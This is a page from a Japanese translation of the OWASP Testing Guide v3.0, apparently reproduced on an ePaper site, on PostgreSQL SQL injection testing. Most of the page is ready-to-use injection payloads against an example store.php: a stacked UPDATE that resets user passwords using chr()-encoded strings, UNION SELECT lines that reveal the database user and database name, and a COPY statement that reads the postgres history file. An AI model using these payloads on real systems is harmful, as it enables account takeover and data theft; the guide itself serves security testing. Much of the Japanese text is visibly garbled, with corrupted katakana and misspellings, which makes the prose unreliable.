11.05.2014 Views

OWASP テスティングガイド

OWASP テスティングガイド

OWASP テスティングガイド

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

<strong>OWASP</strong> Testing Guide v3.0<br />

例 えば、 文 字 列 'root'をウヱケードしたいとします8<br />

select ascii('r')<br />

114<br />

select ascii('o')<br />

111<br />

select ascii('t')<br />

116<br />

'root'は 次 のようにウヱケードできます8<br />

chr(114)||chr(111)||chr(111)||chr(116)<br />

例 :<br />

http://www.example.com/store.php?id=1; UPDATE users SET<br />

PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--<br />

攻 撃 ベクタ<br />

カレンヱテヤーザ<br />

ォリヱトヤーゴのアイデヱティティは、 以 下 の SELECT 文 で 取 り 出 すことができます8<br />

SELECT user<br />

SELECT current_user<br />

SELECT session_user<br />

SELECT usename FROM pg_user<br />

SELECT getpgusername()<br />

例 :<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--<br />

カレンヱテデータベース<br />

ビラトイヱ 関 数 の current_database()は、 現 在 のデーソプーシ 名 を 返 します。<br />

例 :<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--<br />

ファアルから 読 み 出 す<br />

ProstgreSQL は、ルーォラのファイラにアキスシするための 2 種 類 の 方 法 を 提 供 します8<br />

COPY:<br />

• COPY 文<br />

• pg_read_file() 内 部邪 関 数 (PostgreSQL 8.1 より'<br />

この 演 算 子婡 は、ファイラとテーブラ 間 でデーソをケピーします。PostgreSQL ウヱザヱはルーォラファイラサシテマを postgres<br />

ヤーゴでアキスシします。<br />

例 :<br />

/store.php?id=1; CREATE TABLE file_store(id serial, data text)--<br />

/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--<br />

249

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!